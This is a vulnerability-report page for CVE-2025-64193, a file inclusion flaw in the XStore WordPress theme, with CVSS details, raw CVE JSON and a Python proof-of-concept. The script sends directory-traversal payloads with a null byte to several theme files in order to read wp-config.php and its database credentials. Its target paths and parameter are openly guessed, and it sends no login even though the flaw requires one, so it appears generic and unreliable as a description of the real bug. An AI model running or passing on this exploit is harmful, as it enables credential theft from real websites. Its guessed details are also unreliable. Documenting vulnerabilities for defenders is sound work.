Security Vulnerability Report
中文
CVE-2025-64193 CVSS 7.5 HIGH

CVE-2025-64193

Published: 2025-12-18 08:16:11
Last Modified: 2026-04-15 00:35:42

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in 8theme XStore xstore allows PHP Local File Inclusion.This issue affects XStore: from n/a through < 9.6.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

8theme XStore < 9.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64193 XStore LFI PoC # Target: WordPress site with vulnerable XStore theme def exploit_lfi(target_url, filename='wp-config.php'): """ Exploit Local File Inclusion in XStore theme Args: target_url: Base URL of the WordPress site filename: File to read (default: wp-config.php) """ # Common vulnerable endpoints in XStore theme vulnerable_paths = [ '/wp-content/themes/xstore/framework/modules/vc-shortcodes/shortcodes/et-accordion.php', '/wp-content/themes/xstore/inc/helpers.php', '/wp-content/themes/xstore/framework/modules/vc-shortcodes/shortcodes/et-tabs.php' ] # LFI payload using directory traversal lfi_payload = f'../../../../../../../../{filename}%00' print(f'[*] Testing LFI vulnerability on: {target_url}') print(f'[*] Target file: {filename}') for path in vulnerable_paths: try: url = target_url + path params = { 'file': lfi_payload # Common parameter names: file, view, page, etc. } response = requests.get(url, params=params, timeout=10) if response.status_code == 200 and '<?php' in response.text: print(f'[+] VULNERABLE: {url}') print(f'[+] File content preview:') print(response.text[:500]) return response.text else: print(f'[-] Not vulnerable: {url}') except requests.RequestException as e: print(f'[!] Error testing {url}: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve_2025_64193.py <target_url> [filename]') print('Example: python cve_2025_64193.py http://target.com wp-config.php') sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else 'wp-config.php' exploit_lfi(target, file_to_read)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64193", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:10.630", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in 8theme XStore xstore allows PHP Local File Inclusion.This issue affects XStore: from n/a through < 9.6.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/xstore/vulnerability/wordpress-xstore-theme-9-6-1-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}